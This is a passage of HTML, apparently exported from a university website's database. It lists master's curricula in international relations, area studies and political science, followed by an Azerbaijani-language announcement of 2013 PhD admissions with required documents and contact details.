&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Prognostication in International Relations&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;3</p><p>INTR 475 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Nation and Nationalism &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3</p><p>INTR 480 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Oil and Politics &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3</p><p>INTR 502 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Comparative Politics of the European Countries &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4</p><p>INTR 503 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Political Economy of the European Integration&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;4</p><p>INTR 504 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Europe in World Politics &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4</p><p>INTR 507 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Middle East in World Politics&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;3</p><p>INTR 511 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Foreign Policy of Russia &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3</p><p>INTR 517 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Foreign Policy of Iran &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3</p><p>INTR 521 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Foreign Policy of the USA &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3</p><p>INTR 525&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Foreign Policy of Turkey&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;3</p><p>INTLAW 658&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;European Union Law&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4</p><p>PLTS 220 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Democracy: Theory and Practice&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;4</p><p>PLTS 225 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Models of Democracy&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;3</p><p>PLTS 230 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Modern Political Theories &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4</p><p>PLTS 310 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Political Systems and Institutions &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4</p><p><strong>PLTS 410 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Political Prognostication &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &amp;n</strong></p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p><strong>Master of Arts in Area Studies</strong></p><p>&nbsp;</p><p><strong>Concentration: European Public Affairs</strong></p><p>The MA Program in Area Studies&nbsp; is similar to that in International Relations. The program of study is usually completed in four terms of full-time study with 58 credits and a GPA not less than 75.</p><table cellpadding=\"0\" width=\"431\"><tbody><tr><td><p><strong>CODE</strong></p></td><td><p><strong>COURSES</strong></p></td><td><p><strong>CREDITS</strong></p></td></tr></tbody></table><p>&nbsp;</p><table cellpadding=\"0\" width=\"428\"><tbody><tr><td><p><strong>BASIC PREREQUISITES</strong></p></td><td><p>20</p></td></tr><tr><td><p>INTR 210 History of Diplomacy</p></td><td><p>4</p></td></tr><tr><td><p>INTR 215 Theory of International Relations</p></td><td><p>4</p></td></tr><tr><td><p>INTR 220 International Organizations</p></td><td><p>4</p></td></tr><tr><td><p>INTR 310 Modern Diplomacy</p></td><td><p>4</p></td></tr><tr><td><p>INTR 340 Foreign Policy of Azerbaijan</p></td><td><p>4</p></td></tr><tr><td><p><strong>&nbsp;</strong></p><p><strong>REQUIRED COURSES</strong></p></td><td><p>26</p></td></tr><tr><td><p><strong>Concentration: European Public Affairs</strong></p></td><td><p>&nbsp;</p></td></tr><tr><td><p>INTR 502 Comparative Politics of the European Countries</p></td><td><p>4</p></td></tr><tr><td><p>INTR 503 Political Economy of the European Integration</p></td><td><p>4</p></td></tr><tr><td><p>INTR 504 Europe in World Politics</p></td><td><p>4</p></td></tr><tr><td><p>INTLAW 658 European Union Law</p></td><td><p>4</p></td></tr><tr><td><p>PLTS 505 Research Methods in Political Science</p></td><td><p>4</p></td></tr><tr><td><p>Thesis</p></td><td><p>6</p></td></tr><tr><td><p><strong>&nbsp;</strong></p><p><strong>ELECTIVES 12</strong></p></td></tr><tr><td><p>INTR 507 Middle East in World Politics</p></td><td><p>3</p></td></tr><tr><td><p>INTR 511 Foreign Policy of Russia</p></td><td><p>3</p></td></tr><tr><td><p>INTR 517 Foreign Policy of Iran</p></td><td><p>3</p></td></tr><tr><td><p>INTR 521 Foreign Policy of the USA</p></td><td><p>3</p></td></tr><tr><td><p>INTR 525 Foreign Policy of Turkey</p></td><td><p>3</p></td></tr><tr><td><p>INTR 530 Peace and Conflict Studies</p></td><td><p>4</p></td></tr><tr><td><p>INTR 531 International Conflicts</p></td><td><p>4</p></td></tr><tr><td><p>INTR 532 Case Studies in International Conflict</p></td><td><p>4</p></td></tr><tr><td><p>INTR 533 Negotiation: Theory and Practice</p></td><td><p>4</p></td></tr><tr><td><p>PLTS 510 Ethnic Politics</p></td><td><p>3</p></td></tr><tr><td><p>PLTS 515 Theory of Political Systems</p></td><td><p>4</p></td></tr><tr><td><p>Internship</p></td><td><p>3</p></td></tr><tr><td><p>Other elective courses…</p></td><td><p>&nbsp;</p></td></tr><tr><td><p><strong>TOTAL</strong></p></td><td><p>58</p></td></tr><tr><td><p>&nbsp;</p></td><td><p>&nbsp;</p></td></tr></tbody></table><p>&nbsp;</p><p>&nbsp;</p><p><strong>&nbsp;</strong><strong>Master of Arts in International Relations</strong></p><p>&nbsp;</p><p>The curriculum of the MA degree program in International Relations is designed to provide students with a broad analytical background in the major fields of international affairs, combined with the specific focus gained through either a functional or regional concentration.</p><p>The purpose of the required curricula is to ensure that every student in the program receives basic, broad-based, interdisciplinary training in international affairs. This includes graduate level course-work in international politics, and historical, political, and social process.</p><p>The small number of students admitted each year allows the program to be tailored to individual needs and encourages close interaction between students and faculty. The program intends to provide a solid academic background for students planning careers related to development, whether in government, private volunteer agencies or business related sectors.</p><p>The courses, which were designed to supplement substantial and more theoretical aspects of the Master\'s curriculum, teach the ability to:</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; analyze and forecast international events</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; conduct strategic planning for organizations with a global scope</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lead, negotiate, and work in teams in a cross-cultural environment</p><p>&nbsp;The program of study is usually completed in four terms of full-time study with 58 credits and GPA not less than 75. Besides basic prerequisites (20 credits) there are five required courses (28 credits) and four elective courses (elective courses are listed below). Students concentrating in the regional studies need six courses in the two-year program. Ideally they should mix more policy oriented courses with those that have a more \"classical\" and historical bent, including the research seminar. The program does not cover particular countries as much as it examines a more general political and historical tradition that shapes the politics and life of this certain region. Students who choose the area sub-fields must pass one of the area language proficiency examinations.</p><p><strong>Master Thesis&nbsp;</strong>(6 credits)</p><p>Master thesis must be an original research work related to the chosen field. The thesis topic will normally be chosen during the first semester. The Committee on Graduate Studies (CGS) must approve the faculty member who has agreed to direct the project.</p><table cellpadding=\"0\" width=\"479\"><tbody><tr><td><p><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p><p><strong>CODE</strong></p></td><td><p><strong>COURSES</strong></p></td><td><p><strong>CREDITS</strong></p></td></tr></tbody></table><p>&nbsp;</p><table cellpadding=\"0\" width=\"482\"><tbody><tr><td><p><strong>BASIC PREREQUISITES&nbsp;</strong>(For all concentrations in International Relations )</p></td><td colspan=\"3\"><p>20</p></td></tr><tr><td><p>&nbsp;</p><p>INTR 210 History of Diplomacy</p></td><td colspan=\"3\"><p>4</p></td></tr><tr><td><p>INTR 215 Theory of International Relations</p></td><td colspan=\"3\"><p>4</p></td></tr><tr><td><p>INTR 220 International Organizations</p></td><td colspan=\"3\"><p>4</p></td></tr><tr><td><p>INTR 310 Modern Diplomacy</p></td><td colspan=\"3\"><p>4</p></td></tr><tr><td><p>INTR 340 Foreign Policy of Azerbaijan</p></td><td colspan=\"3\"><p>&nbsp;4</p></td></tr><tr><td><p><strong>&nbsp;</strong></p><p><strong>REQUIRED COURSES</strong></p><p><strong>Concentration: Conflict Studies</strong></p></td><td colspan=\"3\"><p>&nbsp;26</p></td></tr><tr><td><p>INTR 530 Peace and Conflict Studies</p></td><td colspan=\"3\"><p>&nbsp;4</p></td></tr><tr><td><p>INTR 531 International Conflicts</p></td><td colspan=\"3\"><p>&nbsp;4</p></td></tr><tr><td><p>INTR 532 Case Studies in International Conflict</p></td><td colspan=\"3\"><p>&nbsp;4</p></td></tr><tr><td><p>INTR 533 Negotiation: Theory and Practice&nbsp;</p></td><td colspan=\"3\"><p>&nbsp;4</p></td></tr><tr><td><p>PLTS 505 Research Methods in Political Science&nbsp;</p></td><td colspan=\"3\"><p>&nbsp;4</p></td></tr><tr><td><p>Thesis&nbsp;</p></td><td colspan=\"3\"><p>&nbsp;6</p></td></tr><tr><td><p><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p><p><strong>ELECTIVES</strong>&nbsp;</p></td></tr><tr><td colspan=\"2\" width=\"456\"><p>INTR 502 Comparative Politics of the European Countries</p></td><td><p>4</p></td></tr><tr><td colspan=\"2\" width=\"456\"><p>INTR 503 Political Economy of the European Integration</p></td><td><p>4</p></td></tr><tr><td colspan=\"2\" width=\"456\"><p>INTR 504 Europe in World Politics</p></td><td><p>4</p></td></tr><tr><td><p>INTR 507 Middle East in World Politics&nbsp;&nbsp;</p></td><td colspan=\"3\"><p>&nbsp;3</p></td></tr><tr><td><p>INTR 511 Foreign Policy of Russia&nbsp;</p></td><td colspan=\"3\"><p>&nbsp;3</p></td></tr><tr><td><p>INTR 517 Foreign Policy of Iran&nbsp;</p></td><td colspan=\"3\"><p>&nbsp;3</p></td></tr><tr><td><p>INTR 521 Foreign Policy of the USA&nbsp;</p></td><td colspan=\"3\"><p>&nbsp;3</p></td></tr><tr><td><p>INTR 525 Foreign Policy of Turkey&nbsp;</p></td><td colspan=\"3\"><p>&nbsp;3</p></td></tr><tr><td colspan=\"2\" width=\"456\"><p>INTLAW 658 European Union Law</p></td><td><p>4</p></td></tr><tr><td><p>PLTS 510 Ethnic Politics&nbsp;</p></td><td colspan=\"3\"><p>&nbsp;3</p></td></tr><tr><td><p>PLTS 515 Theory of Political Systems&nbsp;</p></td><td colspan=\"3\"><p>&nbsp;4</p></td></tr><tr><td><p>Internship&nbsp;</p></td><td colspan=\"3\"><p>&nbsp;3</p></td></tr><tr><td><p>Other elective courses…&nbsp;</p></td><td colspan=\"3\"><p>&nbsp;</p></td></tr><tr><td><p><strong>TOTAL&nbsp;</strong></p></td><td colspan=\"3\"><p>&nbsp;58</p></td></tr><tr height=\"0\"><td width=\"457\">&nbsp;</td><td width=\"2\">&nbsp;</td><td width=\"20\">&nbsp;</td><td width=\"3\">&nbsp;</td></tr></tbody></table><p>&nbsp;</p><p><strong>Master of Arts Program in Political Science</strong></p><p>&nbsp;</p><p><strong>&nbsp;</strong>The MA Program in Political Science is similar to that in International Relations. The program of study is usually completed in four terms of full-time study with 58 credits and a GPA not less than 75.</p><table cellpadding=\"0\" width=\"502\"><tbody><tr><td><p><strong>CODE</strong></p></td><td><p><strong>COURSES</strong></p></td><td><p><strong>CREDİTS</strong></p></td></tr></tbody></table><p>&nbsp;</p><table cellpadding=\"0\" width=\"500\"><tbody><tr><td colspan=\"3\"><p><strong>BASIC PREREQUISITES</strong></p></td><td><p>19</p></td></tr><tr><td colspan=\"3\"><p>PLTS 110 Introduction to Political Science</p></td><td><p>&nbsp;3</p></td></tr><tr><td colspan=\"3\"><p>PLTS 120 History of Political Theories</p></td><td><p>&nbsp;4</p></td></tr><tr><td colspan=\"3\"><p>PLTS 230 Modern Political Theories</p></td><td><p>&nbsp;4</p></td></tr><tr><td colspan=\"3\"><p>PLTS 310 Political Systems and Institutions</p></td><td><p>&nbsp;4</p></td></tr><tr><td colspan=\"3\"><p>PLTS 415 Political Psychology</p></td><td><p>&nbsp;3</p></td></tr><tr><td colspan=\"3\"><p><strong>REQUIRED COURSES</strong></p></td><td><p>&nbsp;26</p></td></tr><tr><td colspan=\"3\"><p>PLTS 516 Political Culture</p></td><td><p>&nbsp;4</p></td></tr><tr><td colspan=\"3\"><p>PLTS 525 Comparative Democratization and Regime Change</p></td><td><p>&nbsp;4</p></td></tr><tr><td colspan=\"3\"><p>PLTS 561 Comparative Case Study Method</p></td><td><p>&nbsp;4</p></td></tr><tr><td colspan=\"3\"><p>PLTS 562 Political Parties and Democracy</p></td><td><p>&nbsp;4</p></td></tr><tr><td colspan=\"3\"><p>PLTS 563 Quantitative Research Methods</p></td><td><p>&nbsp;4</p></td></tr><tr><td colspan=\"3\"><p>Thesis</p></td><td><p>&nbsp;6</p></td></tr><tr><td colspan=\"3\"><p><strong>ELECTIVE COURSES</strong></p></td><td><p>&nbsp;13</p></td></tr><tr><td colspan=\"3\"><p>INTR 507 Middle East in World Politics&nbsp;</p></td><td><p>&nbsp;3</p></td></tr><tr><td colspan=\"3\"><p>INTR 511 Foreign Policy of Russia</p></td><td><p>&nbsp;3</p></td></tr><tr><td colspan=\"3\"><p>INTR 517 Foreign Policy of Iran</p></td><td><p>&nbsp;3</p></td></tr><tr><td colspan=\"3\"><p>INTR 521 Foreign Policy of the USA</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>INTR 530 Peace and Conflict Studies</p></td><td><p>4</p></td></tr><tr><td><p>INTR 531 International Conflicts</p></td><td><p>4</p></td></tr><tr><td><p>INTR 532 Case Studies in International Conflict</p></td><td><p>4</p></td></tr><tr><td><p>INTR 533 Negotiation: Theory and Practice</p></td><td><p>4</p></td></tr><tr><td colspan=\"3\"><p>INTR 525 Foreign Policy of Turkey</p></td><td><p>&nbsp;3</p></td></tr><tr><td colspan=\"3\"><p>PLTS 510 Ethnic Politics</p></td><td><p>&nbsp;3</p></td></tr><tr><td colspan=\"3\"><p>PLTS 515 Theory of Political Systems</p></td><td><p>&nbsp;4</p></td></tr><tr><td colspan=\"3\"><p>Internship&nbsp;</p></td><td><p>&nbsp;3</p></td></tr><tr><td colspan=\"3\"><p>Other elective courses…&nbsp;&nbsp;</p></td><td><p>&nbsp;</p></td></tr><tr><td colspan=\"3\"><p><strong>TOTAL&nbsp;</strong></p></td><td>&nbsp;</td></tr><tr height=\"0\"><td width=\"453\">&nbsp;</td><td width=\"16\">&nbsp;</td><td width=\"2\">&nbsp;</td><td width=\"29\">&nbsp;<br><br></td></tr></tbody></table></div></div>  <br></div>'),(459,293,'az','Doktorantura','Doktorantura','<div><br></div><div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><div><p><strong>Doktoranturaya qəbul başladı</strong></p><p><strong>Son tarix: 02 dekabr 2013</strong></p><p>Xəzər Universiteti 2013-2014-cü tədris ili üçün müxtəlif ixtisaslar, o cümlədən&nbsp;<strong>Beynəlxalq Münasibətlər</strong>&nbsp;(5901.01) və<strong>Siyasi Nəzəriyyə</strong>&nbsp;(5908.01) üzrə əyani (ödənişli) doktoranturaya (Fəlsəfə doktoru) qəbul elan edir. Fəlsəfə doktoru proqramı üzrə doktoranturada əyani təhsil müddəti 3 ildir.</p><p><strong>Fəlsəfə doktoru hazırlığı:</strong><strong>&nbsp;</strong></p><p>1. Fəlsəfə doktoru proqramı üzrə elan olunmuş doktorantura yerlərinə ali təhsili olan (ali təhsil pilləsinin magistratura səviyyəsini bitirən, yaxud təhsili ona bərabər tutu­lan) Azərbaycan Respublikasının vətəndaşları müsabiqə əsasında qəbul olunurlar.</p><p>2. Doktoranturanın (keçmiş aspiranturanın) tam kursunu bitirən şəxs eyni ixti­sas üzrə təkrarən doktorantu­raya qəbul oluna bilməz.</p><p>&nbsp;</p><p><strong>Fəlsəfə doktoru hazırlığı üzrə doktoranturaya qəbul olunmaq üçün tələb olunan sənədlər:</strong><strong>&nbsp;</strong></p><p>- ərizə (doktoranturanın fəaliy­yət göstərdiyi müəssisənin və yaxud təşkilatın rəhbərinin adı­na);</p><p>- kadrların şəxsi-qeydiyyat vərəqi;</p><p>- tərcümeyi-hal;</p><p>- 2 ədəd fotoşəkil (3x4 sm ölçüdə);</p><p>- iş yerindən xasiyyətnamə;</p><p>- iş stajı olanlar üçün əmək kitabçasından çıxarış;</p><p>- çap olunmuş elmi işlərin siyahısı&nbsp;<strong>və ya</strong>&nbsp;seçilmiş ixtisas üzrə referat;</p><p>- ali təhsil müəssisəsini bitirmək haqqında diplomun müvafiq qaydada təsdiq edilmiş surəti (xarici ölkələrdə təhsil almış Azərbaycan Respublikasının vətəndaşları üçün&nbsp;təhsil haqqında sənədlərin tanınması haqqında şəhadətnamə);</p><p>- şəxsiyyəti təsdiq edən sənədin surəti.</p><p>&nbsp;</p><p>Fəlsəfə doktoru proqramı üzrə elan olunmuş doktorantura yerlərinə sənədlərin qəbulu&nbsp;<strong>2013-cü il 18</strong>&nbsp;<strong>noyabr– 02 dekabr</strong>, qəbul imtahanları 10-20 dekabr tarixlərində keçirilir. Müraciət etmək istəyənlər sənədlərini Xəzər Universiteti Magistratura, Doktorantura və Elmi İşlər bölməsinə (406-cı otaq) şəxsən təqdim edə bilərlər.</p><p><strong>&nbsp;</strong></p><p><strong>Əlaqə:E-mail:&nbsp;</strong><a href=\"mailto:eshahgaldiyev@khazar.org\"><strong>eshahgaldiyev@khazar.org</strong></a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"mailto:lsalayeva@khazar.org\"><strong>lsalayeva@khazar.org</strong></a></p><p><strong>Tel (+99412) 498-93-79; (+99412)408-81-34; Faks (+99412) 498-93-79; Mobil:+99450) 518-81-34</strong></p><div><strong><br></strong></div></div></div>  